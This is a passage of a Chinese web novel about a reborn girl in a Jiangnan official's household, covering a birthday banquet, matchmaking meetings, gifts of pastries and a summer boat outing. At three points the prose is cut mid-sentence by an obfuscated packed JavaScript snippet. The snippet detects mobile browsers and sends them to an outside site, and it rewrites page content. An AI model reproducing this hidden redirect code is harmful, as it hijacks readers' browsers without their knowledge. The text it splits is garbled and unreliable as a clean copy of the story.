拿镇纸将其压好放在一边晾干,再找个漂亮的匣子,又将信拿给母亲代寄……女孩忙活一通,回来时路过府里大厨房,拐进去瞟了一眼,只见院子里堆着许多食材,游廊下、花园里,每个人忙忙碌碌,女孩清晰的感知到——祖母的寿宴要来了。 王府的宝华厅内,十二扇楠木框松鹤延年缂丝屏风将正厅隔为南北两区,男宾居南向主厅,女眷在北侧卷棚抱厦。 正厅设二十四席,紫檀木八仙桌配官帽椅,餐具摆的是青花海水龙纹盘配银箸,犀角雕蟠螭纹荷叶杯盛金华酒。 女眷席摆了六张鸡翅木六角折枝梅花桌,配海棠式绣墩,用的餐具是白釉刻缠枝莲纹碟,配镶银头乌木箸。 袁老太太端坐正中北向主位,案头供着鎏金"麻姑献寿"像。明夷和几个姊妹在一处,从一出现始,就夺得了各位太太们的目光。 妇人们上下打量着几个女孩,她们今天专做了一样打扮,均是鹅黄绫地绣百鸟纹竖领袄,外罩朱红遍地金云纹比甲,下着艾绿妆花缎凤尾裙,十二幅裙片各绣不同珍禽,行走时彩羽流光如百鸟齐飞。 最大的那位端庄秀美,中间两位年龄相似,一个娇艳一个明媚,最小的那位虽还未长开,雪团子似的小脸看得讨喜极了。 不得不说李嬷嬷教学成果显著,四位姑娘从亮相到请安问好再到入座,一举一动,端得是风姿绰绰,尽显大家风范。 陈、顾、桑三位夫人看得是喜笑颜开,在座的妇人们也频频点头,直夸淑女之姿,教导有方。 未出嫁的姑娘坐在一处,明 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正思量着,前厅突然传来铿锵有力的祝寿声——正是姗姗来迟的周公子,青年玄色劲装猎猎,许是刚下值就赶来了。 令妤左看看右看看,都不甚满意,悄悄凑到姐姐耳边,问道:“你喜欢哪个?” 王大小姐瞬间满脸通红,轻斥道:“姑娘家张口闭口就是喜欢,怎么这么不知体统?李嬷嬷教的都忘光了吗!” 王堇妤无语的翻了个白眼,忍了忍,还是继续说道:“我听说那个程公子和一位名妓交往甚密,给人写了不少词曲呢。但那个周公子也不行,一介武夫,指不定有多粗鲁。” 王令妤眉头微蹙,刚想说些什么,就听到祖母宣布开席,席间言语不是淑女所为,于是又将嘴里的话咽了回去。 流水的佳肴一道道往桌上摆,大户人家的宴席总是讲究的要命,尤其是在经济发达、物产丰富,有鱼米之乡的美誉,最懂享受的江南一带,有些菜肴怕是皇帝都吃不到。 先端上的是一个花拼,黑漆描金福禄寿盘里摆的是水晶鹅掌拼胭脂鹅脯、糟鹌鹑拼金银肝。 大菜有六道,白釉暗花高足碗里的蟹粉狮子头在装饰的蟹壳上用金箔描了个寿字,带壳鲍螺内填的是八宝鸭胗,烧鹿筋搭配春笋片摆成松枝状,羊贯肠中的肠衣灌满蟹肉,切段如金环,煨刺参里的海参肚里塞的是金华的火腿丝。 接着又是两道热炒,一是用鸡蛋清塑成鱼形的虾仁假斑鱼,另一是淋了绍兴女儿红的炮煨牡蛎。汤羹本应该用熊掌煨汤,但由于袁老太太念佛不杀生之训,所以改用猪蹄,明夷暗暗腹诽,就没有人替猪发声? 最后的点心是酥皮刻了寿纹的顶皮酥与夹着糖腌木樨花的雪花酥饼,此外女客们还各上了一盅冰糖炖雪蛤。 席面虽好,但由于得遵循李嬷嬷教的大小规矩,几个小姑娘吃得并不尽兴,而王令妤更是全程没吃几口,一直皱着眉头不知在想些什么。 屏风那头转进来一个小丫鬟,捧着一盘“蜜煎金枣”,说是老太太指名拿给大小姐的。 王令妤谢过祖母好意,悄悄摆开金枣,只见枣心藏着张洒金笺,上书:“申时一刻,西庑。” 抬头看向母亲的方向,得了个肯定的眼神,令妤将小笺揉入袖中,心下了然。 坐在旁边的明夷不小心暼见全程,挑了挑眉——看来是有情况。 21. 你挑我我挑你 寿宴渐进尾声,王家的二位老爷和夫人起身送客,唯独陈夫人早早借口不舒服先退了下去,见母亲走后,不一会,王令妤也说自己有些头晕,谢绝了妹妹的搀扶,带着自己的贴身丫鬟先行离开。 瑞鹤堂的西庑,一道湘妃竹帘将屋子分成了两半,王令妤由母亲祖母陪着,坐在里边,程云熠隔着帘子坐在程夫人身边。 也不知是不是故意的,这竹帘子织的又疏又薄,除了起个装饰作用,根本挡不到什么。 王令妤自进来后,一直低垂着目光,烛光打在脸侧,端的是脸欺腻玉,鬓若浓云。程夫人在对面是越看越满意。那程云熠也是生的眉目舒朗,风姿绰绰,只是神情略有不忿,姿态也有些懒散。 袁老太太将对面的情况尽收眼底,不动声色地朝陈夫人使了个眼色,后者立马开口道:“今儿难得有机会,托着我家老太太寿辰的名头,将程夫人这个大忙人请到咱们府上,可真是不容易啊。” 程夫人笑道:“哪里的话,去岁我家老爷被派到松江上任,本是打算一同跟着去的,只可惜家中老人习惯不了那边的水土,这才让和我熠儿留了下来。只是调任之事要打点收拾的东西太多,一忙就忙过了年,一直没空登门拜访,先在这里给老太太赔个不是。” 袁老太太道:“程夫人这话就说得生分了,你家程老爷当年跟着我娘家哥哥读书,我这大儿子考中进士后在官场上又多得你家老爷提点,咱们两家这关系,可比一般人家亲厚的多。” 两位夫人均乐呵呵地点头称是。 袁老太太又道:“时间过得可真快啊,一转眼我这把老骨头都活到这个岁数了,家里的孙子孙女也一个个长成了大人。我这大孙女自幼养在膝下,最是招人疼的,现在也成大姑娘了。” 程夫人附和道:“是啊,记得上回见面的时候令姐儿还是小小一个,和我们家熠儿坐在一处吃糕,像两个小玉人似的,如今都出落的那么漂亮了。我自己没有女儿,看着令妤真是喜欢得紧。” 陈夫人也笑道:“咱们做娘的天天看着自家孩子没什么察觉,今日一看你们熠哥儿,真是好俊秀的人才,才学也非常了得,听说去岁院试放榜,是考了第六名啊,看来过不了多久你家又要出一个进士老爷了。” 程夫人一听更是喜笑颜开,摆手谦虚道:“我这混小子也就读书在行些,虽然是取得些成绩,但俗话说得好,先成家,后立业,这傻孩子满脑子都是读书,可把我急的哦。” 袁老太太道:“孩子爱读书是好事,能读得好更是佳事,自身优秀了,还怕成不了好的家业吗?” 屋子里又是一阵笑声,几个大人们又追忆了会两家的过往交情,互相夸了夸对方的儿女,便借着时候不早为由,互相道了别。 丫鬟们进来收拾了茶水,撤了把椅子,又摆了新的茶点,大概过了一刻钟,周文砚被丫鬟领着进了西庑。 青年恭恭敬敬的给屋里的女眷抱拳行了个礼,王令妤也站起来福了福身。 坐下后,周文砚似是在军中马虎惯了,拿不准这深宅大院的规矩,又怕给人留下不好的印象,整个人拘谨极了,双手不知如何摆放,茶杯拿了又放下,引得帘子后头的令妤不自觉轻笑出声。 青年听见笑声,抬头直勾勾的看向少女,不好意思的摸摸脑袋,耳朵烧的通红。 令妤不小心和人对视上,愣了愣,又飞快的垂下眼帘,头上的点翠珊瑚步摇打到脸边,像是晚霞中的绚烂夕阳。 陈夫人和袁老太太瞧着两人的模样,相互对视一眼,眼里也挂上了笑意。 两个大人轮流问了些话,周文砚答得一板一眼,问什么说什么,不一会就把自己和家里的情况抖得干干净净,王令妤用帕子掩着嘴角偷笑,心道,真是个呆子。 将人送走后,母女二人跟着老太太回了瑞鹤堂。 袁老太太坐在罗汉床上,陈夫人和王令妤分坐两侧的玫瑰椅。袁老太太揶揄的看向孙女,“令姐儿心里有主意了?” 王令妤小脸羞的通红,“祖母莫要再打趣孙女了,令妤但凭长辈们做主。” “你瞧瞧这丫头,脸都烧成这样了,还不肯开口,看得人真是喜欢的要命,当心祖母把你留在这瑞鹤堂陪我一辈子!” 王令妤站到祖母身边,“能一直在瑞鹤堂陪着祖母是孙女的福气,只要老祖宗您不要嫌令妤赖在这烦人就行。” 袁老太太哈哈大笑,指着孙女道:“可万不能再说这种话了,我怕你父亲母亲到时候急的火烧眉毛,来这怨我呢。” 陈夫人喜爱的看着女儿,笑道:“母亲哪里的话,能陪在您身边是令姐儿的福气,我和她爹高兴还来不及呢。” 袁老太太将孙女拉到罗汉椅上,拍着她的手道:“不说这些浑话了,我瞧着那位周文砚是个不错的,长得一表人才,性格看着是个没心眼的,年纪轻轻已是百户,听你父亲说在军中很得赏识,前途敞亮的很。 家里人口简单,没有兄弟姐妹,父母也不管事,你嫁过去就可以直接掌家,虽然家底不是很厚,但咱们过日子看得是人,只要丈夫出息,有上进心,还愁日子没有奔头吗,到时候祖母再给你多添点嫁妆就是了。而且他现在在杭州当差,离咱家也不远,你也可以随时回来看看,若是受委屈了,祖母也好给你撑腰。” 说道这,老太太声音也带了丝哽咽,“你父亲还是多爱重你的,仔仔细细给你挑了门那么好的亲事。我的令姐儿之前抱在怀里才那么小一点,如今都要嫁作人妇了,祖母舍不得啊……” 听着老太太这么一说,陈夫人也用帕子拭着眼泪,闺中的女儿是娇客,若是嫁了人,就顿时矮了一大截。若是可以,她也想一直把女儿护在羽下,只是女人的命就是这样的,她终究是要走到一个陌生的人家,去过自己的人生,她们所能做的,就是尽己所能给女儿选个良人,不想她稀里糊涂的就进人家的门,费尽心思的安排人见一见,尽量选个喜欢的…… 王令妤抱着老太太更是哭得凶,祖孙三代在这瑞鹤堂里哭得痛痛快快,另一边不系园里,明夷拘谨的坐在母亲身边,和对面一个与她差不多大的男孩大眼瞪小眼。 男孩名叫方韫之,今年也是十二岁,其父亲方其琛是王同光的义兄。当年袁老太太生王同光时早产加难产,险些丢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15396202|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了半条命。结果孩子生下来后身体孱弱,病了好几回,险些命都丢了。 而王老太爷又正值上升期,无暇顾及妻儿,袁老太太当时身子本就不好,丈夫忽视,要了她半条命的儿子又跟个病猫似的,整夜梦魇,精神更是萎靡,照顾不了,也不愿意照顾这孩子。 最后还是王老太爷的多年同窗,同年登榜进士,又一同做官的方老太爷伸出了援手,将王同光抱回了养,一直养到十五岁才回的家。 王同光与这位义兄一同吃住读书,关系不可谓不亲厚,两人早早就约定,日后若生儿育女,必要结为儿女亲家。 这方家的老家在徽州府,原先在延平府做知县,去岁过了通考,被调到了杭州府做知州,眼下刚刚安定下来,就被王同光请来了母亲的寿宴。 顾夫人和方韫之的母亲柳夫人话着家长,明夷无所事事的打量着对面的男孩。 方韫之头戴儒巾,身穿月白色暗缎交领直裰,腰系绦带,生的貌态洁朗,威仪秀异。 男孩从来没被同龄的女孩这般直勾勾的打量过,索性也直接看了回去。只见女孩新月笼眉,眸清可爱,鬓边的珊瑚珠串微微摇晃,衬的人似春桃拂脸,端的是明艳动人。 方韫之自小就知道自己以后会娶父亲义弟的女儿,并被多次面提命耳道一定要珍之重之,小小的人儿洁身自好,遇见别的小姑娘从不同人说话玩耍,一心一意等着自己那位从未谋面的未婚妻。 今日来王府赴宴,平日从不在意穿着的男孩倒是特意去找母亲替他挑了衣裳,虽然嘴里说的是第一次去光叔的府上必须重视,但做母亲的哪里看不出自己儿子的心思? 方韫之怀着小小的忐忑赴宴,散席后跟着母亲进了后宅,男孩也不是没担心过,万一她脾气不好怎么办?长得不好看怎么办?不喜欢他怎么办? 只不过这些遐思在见到踩着阳光进门的小姑娘时顿时烟消云散,再到对上女孩一双清盈盈的杏眼,他现在只觉得很好,什么都好。 明夷在瞟见大姐姐手里的纸笺后心里就有了猜测,再见到陈夫人与王令妤相继离席,便也差不多知道她们要去干什么。 其实她也很想偷偷跟上去看热闹,只是——麻烦不找你,你就别找麻烦,女孩遗憾地摇摇头,慢悠悠地回了自己的宜秋院。 席上没吃饱,于是让麦冬去小厨房给她拿点吃的回来,碗里的面条才吸溜一口,就收到了母亲让她去不系园见客的消息,至于这客是谁,自然就是很可能成为她未来夫婿的方韫之。 先不说这种盲婚哑嫁,父母之命、媒妁之言的糟粕习俗,就凭打扰她吃饭,让她饿着肚子见客这点,明夷决定迁怒包括母亲在内的所有人,气势汹汹地赶到不系园,结果最后还是乖乖请安,规矩坐下。 母亲和柳夫人除了最开始互相介绍了一下两个小家伙,后面就一直在东扯西扯。 明夷百无聊赖的盯着前面发呆,心里想着自己的面肯定坨了,等会得让人再煮一碗,不知道今天席面上那道烧鹿筋吃完没,她喜欢里头的春笋片,刚刚都没吃多少,等会路过厨房看看还有没有,拿来佐面肯定好吃…… 22. 肉茸酥饼 王令妤和周文砚的婚事很快就定下来了。 男方特意请了杭州卫指挥使上门提亲,给足了王府面子。合八字时,陈夫人不仅找了当地有名的命理师和高僧,还硬是把躲在山里道观清修的公公叨扰出来,逼着人家把师傅喊来给女儿看八字。 到了纳征这一步,周文砚家境普通,只有处一进一出的宅院和百亩左右的良田,父亲在当地的书院教书,母亲做绣品补充家用。下聘当日,虽聘礼不算多,但金银首饰、绸缎布匹,该有的都有,陈夫人关起门清点后,感慨这周百户怕不是把大半个身家都拿了出来。 王令妤细细看着礼单,明显感觉到母亲的满意,自己心里也有些雀跃,对未来的日子隐隐期待。王堇妤坐在旁边瞧着母亲为姐姐准备的嫁妆单子,觉得这聘礼与姐姐的嫁妆比可差得远了,忍不住用余光瞥了一眼自家姐姐,得,笑得一脸甜蜜,再看看母亲,俨然一幅满意模样。 二姑娘瘪了瘪嘴,将话咽回肚子。虽然这个周文砚长得是不错,对姐姐也很上心,甚至也给她并家里一众姊妹都准备了礼物,但是她还是不喜欢。她觉得没有人配得上自己的姐姐,一点也不想姐姐嫁人。 请期时,男方请卜者选定了婚期,以红笺书写吉日送至王府,陈夫人想多留女儿一段时间,特意去找了明夷父亲请他帮忙回帖,男方很上道,立刻表示同意,最后两人的婚期定在明年八月。 府里的几个姑娘们又过上了日日上学的生活,不过不同的是,过去是上五休二,现在是上四休二,专门挪了一天给王令妤上一对一专课。 平白多了一天的假期,明夷高兴极了。要知道,这闺塾的课可并不轻松,白日要上课,晚上照样布置了功课,既要写文还要做诗,画画也不能落下,古琴不但要练习,还得背谱,李嬷嬷的课虽然不大不需要布置作业,但单就女红这一样,也足够磨时间了。 明夷只觉得自己像是回到了高三,每日累得倒头就睡。冲着娘亲抱怨,想拜托她和沈先生说道说道,结果顾夫人美丽的脸上全是疑惑,她不明白这哪里累了,功课哪里难了。明夷智力和体力均遭受重创,只得默默闭嘴。 偏生爹爹还在一旁捣乱,觉得女儿的学习强度远远比不上他们夫妻当年,打算去找沈先生商量商量。吓得明夷赶紧求饶,眼巴巴地望着夫妻俩做可怜状——这要是真增加任务量了,那几个妤非得撕了她不可。 又是一个小假期,明夷看着自制任务小笺上的功课:文章一篇,五言诗一首,兰花图一幅,紫葡萄一串(注:必须用新教的打籽绣)。 女孩抓着毛笔长叹一口气,才女不好当啊。 看着那一堆任务,明夷甚至觉得大小论文都和蔼可亲起来。在这里,没有知网,没有数据库,没有人工智能,她做不了电子裁缝,只能做个抱着绣棚的真裁缝。 其实经过这段时间学习,明夷写诗水平大有长进,偶尔还能得沈先生一个“灵气”的夸赞。画画和刺绣她也很喜欢,毕竟看着美丽的事物在自己笔下或针下绽放,是一件非常有成就感的事。 不系园内,她的大作和名家的作品挂在了一起,当她将为母亲做的手帕,父亲做的扇插送到二人面前时,两人笑得灿烂极了。 顾夫人爱不释手地瞧着上面的兰花,小心翼翼地叠好揣进了袖子,立马跑去给徐淑仪写信炫耀。王同光直接给自己的扇子套上,揣在腰际,大摇大摆的去了家塾。 据方韫之形容,同光叔父上课时一直拿着这把扇子,也不展开,就套着扇插,代替戒尺的作用,一会指人一会指书…… 方韫之一家随父上任,安顿在临安城内。一切皆已打点好,只是孩子读书的去处却迟迟未寻到。柳夫人本想请先生来府上上课,奈何好的先生并不好请,眼瞅着府试的日期将近,方家夫妇急的像热锅上的蚂蚁,生怕耽误了孩子学习。 直到那日王府寿宴,王同光听了义兄的烦恼,提议这段时间可以先让方韫之来王氏家塾上课,方大人一拍脑门,他怎么就没想到呢?他这义弟学问最是好的,有他指导简直再好不过了。 于是乎,接下来这段时间,方韫之日日跟着王元亨几个上课。王同光并不每日上家塾教书,一般就隔着日子去,但每回只要去了,定把方韫之领会不系园吃饭。 可怜明夷上完课饥肠辘辘,对着满桌子的菜还得等父亲他们回来才能开动。他们上课又爱拖堂,回来的路上也磨磨蹭蹭的,直接让明夷的饭点往后推了近两刻钟,连累着午觉时间也被缩短,女孩心里怨念丛生,奈何父亲母亲都是惹不得的,只好将怒气全撒一人身上。 可怜男孩来吃了两三次饭,次次遭到明夷冷落。小姑娘每回头都不抬,也不同他讲话,只一个劲的闷头吃。方韫之端着饭碗偷偷看向女孩,想找机会和人说话,结果明夷察觉到他的视线后,直接横了他一眼,把人整得更郁闷了。 为什么呢?方韫之思前想后也弄不明白,只好求助身边的小厮,小厮比他大不了多少,听了小少爷的话也是一脸懵。 直到有一天上学,听到王元亨他们讨论等会要去城西那家桃源居买饼吃,毕竟也一起上了好几天学,几个男孩也已经混熟,便跟着一同去了。 桃源居是临安县最出名的点心铺,种类繁多、用料扎实、价格实惠。方韫之看着架子上琳琅满目的酥饼,一时不知从何买起,幸亏得了资深顾客王元亨的推荐,最终拿下三个油纸包。 王元亨看着朋友提的两手满满,奇怪道:“你买那么多做甚,吃得完吗?我和你说这个肉茸酥饼放久了就不好吃了。” 方韫之面对友人的质疑,只是尴尬地笑笑,并没有多说什么,倒是旁边矮他们一个头的王正亨有些揶揄地笑道:“韫之兄怕是要带给明夷姐姐吧。” 王元亨恍然,“原来你小子是要同我妹妹献殷勤,啧啧啧。” 方韫之面色发红,解释道:“总是叨扰同光叔父一家,我也得带点谢礼不是。” 旁边的两个亨对于他的鬼话那是一个字都不相信,只喊道:“趁现在饼还热着,赶紧去找二叔回去吃饭吧。” 今日他们比往常晚了十分钟,明夷捏着筷子在心里计算到,她今早胃口不佳,吃得少,现在早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15410133|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已饿得前胸贴后背,而方韫之这臭小孩竟然还迟到!平常不发火当她是病猫不是? 顾夫人疑惑地看着女儿攥着筷子咬牙切齿的模样,心想这孩子今日怎么火气那么重?是天气太热的缘故吗?等会让厨房送几碗甜汤上来好了…… 就在明夷觉得自己快要饿昏的时候,王同光两人终于姗姗来迟。人还没落座,女孩就瞪着眼睛死死盯着方韫之,男孩莫名有些胆寒,不知自己又是哪里惹到她了,想了想还是先把手里的油纸包递给了女孩。 明夷正对着男孩发动死亡凝视,手里猝不及防被塞了东西,狐疑地看过去,男孩讷讷解释道:“我刚刚去桃源居买的,元亨兄说这个酥饼很好吃。” 原来是因为买饼耽误的时间,但再好吃也不能耽误她吃饭啊—— 毕竟拿人手短,女孩稍微收敛了下表情,将油纸包放在桌上打开。 油润的牛皮纸托着一个个杯盖大小的酥饼,琥珀色的饼皮泛着蜜糖般的光泽,上面洒满了细密的白芝麻,指尖刚触及饼身便簌簌落下金箔似的酥皮碎。 明夷将酥饼托在青瓷碟上轻咬一口,千层酥皮一下子绽裂开来,慢熬的红豆沙细腻微甜,咸蛋黄金沙浓郁,裹挟着肉松的丝丝缕缕在唇齿间翻涌。内陷甜咸交织,饼皮酥脆不已,如此丰富的口感令人陶醉不已。 明夷两三口就解决掉手里的圆饼,很快又拈了一个在手上,抬头发现三人都在瞧着自己,极力推荐道:“爹,娘,快尝尝,这个饼好好吃!” 说着又像是想到了什么,将手里的饼放到碟子上,重新拿了块递给男孩,笑得眉眼弯弯:“谢谢韫之哥哥,这个酥饼我很喜欢,你也快尝尝。” 方韫之有些受宠若惊的接过酥饼,他其实并不爱吃这些酥皮点心,但,现在可以考虑喜欢了。 一连吃了两块,明夷一肚子的气早就消得没影了。天知道她两辈子加起来,最喜欢的就是酥皮、肉松、咸蛋黄,这几样加在一起简直让她无法抗拒,不过…要是能再加点麻薯就好了…… 吃人嘴软,女孩也不再好意思对着人摆脸色,殷勤的一会儿让人尝尝这道荷叶粉蒸鸡,那道糟熘鳜鱼片,也不似之前只是闷头吃饭了,笑嘻嘻地和桌上的几个人分享自己课上的趣事…… 饭桌上欢声笑语不断,顾夫人和丈夫对视一眼,无奈摇头,他们哪里不知道女儿为何情绪转变如此之快,也不知这丫头是随的谁…… 方韫之自从尝到带酥饼的甜头后,接下来每每过来用膳,总会买些外面的各色吃食或小玩意儿回来。明夷不能随意出门,男孩带回的很多东西她都没有见过,新鲜得要命。并且男孩每次都买很多,吃的东西一般放不得,明夷就等下午带去花厅和姊妹几个一起分享,飞速拉进了几个堂姊妹之间的感情。 之前饿肚子等待的怨念烟消云散,如今甚至还有些隐隐期待。对此,明夷乐呵呵的表示,这就是外头有人,嘴里不空,虽然这孩子算是她名义上的未婚夫,但实际年龄二十好几的她可不至于喜欢上个小屁孩,不干嘛,吃人嘴软,拿人手短,她就当又多认个弟弟吧! 23. 倚晴舫 自入夏以后,天气愈来愈热,晨起时还缀着露珠的木香花转眼就蔫成了绉纱模样,日头烧得廊下铜钩都发了软。 小丫鬟捧着铜盆碎步急走,冰块碰着盆沿叮咚作响,明夷倚在贵妃榻上,吃着后厨新吊的梅子汤,手里银匙搅动时撞出清脆的声响,像是要把满庭暑气都震碎在这冰纹开片里。 因着太热的缘故,孩子们都停了课,个个窝在屋子里头,每日靠着甜汤续命,恨不得抱着冰鉴睡觉。 明夷吃了几口就将手里的青瓷碗搁到小几上,手指划拉着冰鉴上凝出的水珠。七月下旬的日头太盛,连着女孩胃口也不好,整个人恹恹的,好不容易养出的肉现在又全掉了下去,原先圆圆的小脸现也显出了尖尖的下巴。 顾夫人心里着急,奈何无论做什么女儿也吃不下去多少,王同光给她买回之前非常喜欢的肉茸酥饼,也是吃了两口就扔在一边。 明夷也很无奈,她不是不想吃,只是这具小身板子就是吃不下啊。 顾夫人甚至请了大夫来,但也只说是暑气使然,让多吃点开胃的东西。她这日日酸梅汤也喝了,山楂丸也吃了,结果还是一点用也没有。每日只能勉强逼着自己吃点饭食,好维持生命体征。 为什么会这样?明夷躺在贵妃榻上,茜纱窗格里漏进的光像是有了重量般,平白压得人有些喘不上气,大抵是日子过得有些烦闷,让人没甚么往下的欲望吧。 门外传来环佩叮当的声音,明夷心不在焉地看了看——是母亲。 慢吞吞地支起身子坐好,无精打采道:“娘亲怎么来了?” 顾夫人将小几推到一边,看着女儿平日神采飞扬的杏眼此刻连着眉毛都蔫嗒嗒的,心疼地揽住女儿,轻轻道:“明儿不记得了吗?娘亲说了今晚带你去青玉河上游船的呀。” 明夷缓慢地转了转眼珠,好像是有这回事,只是最近不管做什么都提不起劲,说了就忘了。 “是今天呀,咱们什么时候走?” “过去要做半个时辰的轿子,我们差不多申时出发。” 顾夫人摸了摸女儿的头发,“明儿走之前要不要吃点东西?等会吃得晚我怕你饿。” 明夷摇摇头,“娘亲是过来帮我挑衣裳的吗?” 顾夫人拍了拍手,几个丫鬟端着几个托盘走了上来,“这些都是娘亲新给你做的衣裳首饰,起来试试,看看喜不喜欢?” 红木托盘上,纱料上银线织就的白兰在阳光下闪着跳跃的光,明夷猝不及防被晃了晃眼睛,稍微来了些兴趣,毕竟出门总要打扮漂亮点吧。 顾夫人亲自给女儿搭了衣服首饰,水绿罗地窄袖衫,衣摆用银线锁的远山纹。松花色妆花缎凤尾裙,外罩墨绿轻容纱,裙面绣的是渔舟唱晚图,转侧时能够现出星点渔火。 小巧的双螺髻上各插一支白玉莲藕小钗,耳垂悬着翡翠莲叶珰,腕间绕了三圈缠着菩提子的錾花银镯。双脚踩的是靛青缎面绣鞋,鞋头绕着芦苇纹样的银丝,缀着珍珠做的露水。 暑气蒸腾的青玉河上,顾夫人牵着明夷登上倚晴舫。天际裂开了一道朱砂染就的绚烂,云絮浸泡在茜红与藤黄的染缸里,翻涌成淬火的金鳞。 “仔细脚下。” 顾夫人攥紧明夷的小手,墨绿裙裾擦过桐油木阶,河边的晚风将二人的帷帽轻轻掀开,明夷嗅到母亲袖中熟悉的月麟香,混着画舫里飘来的冰湃杨梅香。 岸边的柳垂在渐浓的暮色里愈显妖冶,浣衣妇抱着手中的木盆,三三两两走在一处,留下一串笑语……明夷突然觉得肚子有些饿了。 画舫已聚了十余人,官家夫人们坐在嵌螺钿的玫瑰椅上,鬓边点翠在穿堂风里轻颤。未出阁的小姐们挨着万字纹隔扇,团扇轻摇,半掩着新点的朱唇。还有一位腰身楚楚的姑娘凭栏而立,石榴红的纱衣被河风鼓起,恍若乘风归去的洛神。 “瞧瞧是谁来啦?原来是咱们的九畹居士啊。” 明夷才被母亲牵进门,就听到一个穿着艾青杭绸对襟衫的妇人对着她们喊道。 本就吵嚷的画舫顿时更加热闹起来,交杂着“可把你盼来了”“大忙人来啰”之类的笑声。 明夷有些惊讶,她知道九畹居士是母亲的别号,只是…原来母亲这么受欢迎的吗? 顾静翕大方的朝着刚刚喊人的妇人笑道:“安姐姐瞧着比上回见面气色更好了些啊,快快告诉我是用了什么养颜秘方?” 赵安歌几步走上前来,拉着顾静翕的手上下打量道:“九畹居士人如其名,还需像讨要什么秘方?莫要让这些胭脂俗粉污了你天生的好颜色!” 说着弯下身子瞧了瞧明夷,捏了捏女孩的小脸,笑道:“这就是明夷吧,真真是有这玉做的小人儿。” 顾静翕点点头,又对着明夷道:“这位是湖州同知的夫人,明夷快叫赵夫人好。” 明夷低头朝人行了个礼,规矩地说道:“赵夫人安好。” 女孩年纪虽小,却已生的弱骨纤长,简单的动作在她身上顺了一遍,有种说不出的好看。耳边碧绿的莲叶珰垂在脸侧,衬得女孩像是被新绿簇拥着的白荷。 赵安歌欢喜地将人拉起来,又引着母女俩到一边坐下,不一会就有人围了上来,扯着顾静翕几个说话。见眼下没人找她,明夷悄悄将椅子拉开了些,想看看外头的景色。 画舫缓缓驶向藕花深处,荷叶间摇摆的风将半透的纱幔吹的胡乱飞舞,方才立在栏杆处的女子微微回了个头,正巧和明夷撞了个对眼,虽是隔着纱幔看得不甚清楚,却让人不由自主地想起一句诗:“状似明月泛云河,体如轻风动流波。”用来形容她,很合适。 不知是谁喊了声“人都来齐了吧”,一边的湘妃竹帘被轻轻卷了起来,数十个穿着青色南天纹对交穿的侍女捧着漆木食盒鱼贯而入。 每人面前的食案摆的菜肴均有不同,明夷这先是上了一笼盛在竹编屉笼里的荷叶粉蒸鸡,揭盖时荷香混着肉香扑鼻而来,底下还掺着新剥的莲子、火腿丁。接着是一小碟糟熘鳜鱼片,鱼片雪白蜷如云朵,淋着琥珀色芡汁,边上还装饰着雕成牡丹样的萝卜花。 明夷本就有些饿了的肚子被菜香勾的越发空虚,等不及菜上完,就悄悄拿起银箸尝了一小块荷叶鸡,鲜嫩的童子鸡斩成细块裹满籼米粉,米粉吸足了鸡油,又如油纸般透亮,一口下肚,女孩的馋虫被彻底勾了出来,偷偷摸摸的想再夹一块,就听到娘亲附在她耳边说道:“没事,大胆吃就行,在这儿不用拘束。” 明夷疑惑的挑挑眉,抬头环顾四周,发现大家均是一边吃着一边聊天,方才立在外面的女子恰巧坐在她的对面,此刻正捏着青瓷调羹小口喝汤,时不时与身边的女伴耳语几句,整个人鲜活灵动,可谓是香靥深深,姿姿媚媚。 “那个姐姐是谁?坐我对面穿红衣服那个。”明夷扯了扯母亲的袖子,小声问道。 顾静翕抬头不着痕迹的瞥了一眼,悄悄道:“这是潇湘楼的南嘉姑娘。” 潇湘楼?明夷一惊,这不是他们这最有名的青楼吗,这位南嘉姑娘怎的会和这群夫人小姐聚在一块? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15423966|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >正想着,面前又端上了一碗虾籽茭白和薄荷拌莴苣。茭白切滚刀块,青瓷葵口碗内白绿相间,虾籽似撒金般点缀在表面,汤底浮着两片雕作舟形的嫩姜。莴苣丝应是浸了井水的,拌着捣碎的鲜薄荷叶,撒了松子仁、浇了麻油花椒汁,碧莹莹的盛在荷叶边的白瓷碗里,碗底垫着雕成莲蓬状的冰坨。 明夷迫不及待地夹了两筷子,爽快地感叹道,这船上的东西不仅好看,味道也好的不行,尤其是这道莴苣丝,爽口开胃,一筷子下去,感觉暑气也散了一半。 顾静翕一面同人聊着天,一面偷偷注意着女儿的动作,见其吃了不少东西,面上笑容愈甚,引得赵夫人奇怪道:“我也没讲甚么笑话啊,静翕怎的笑得这么开心?” “说来也是头疼,近日炎热,小女一直胃口不好,整个人瘦了一圈,方才见她吃了不少东西,我这做娘的心里开心的紧。” 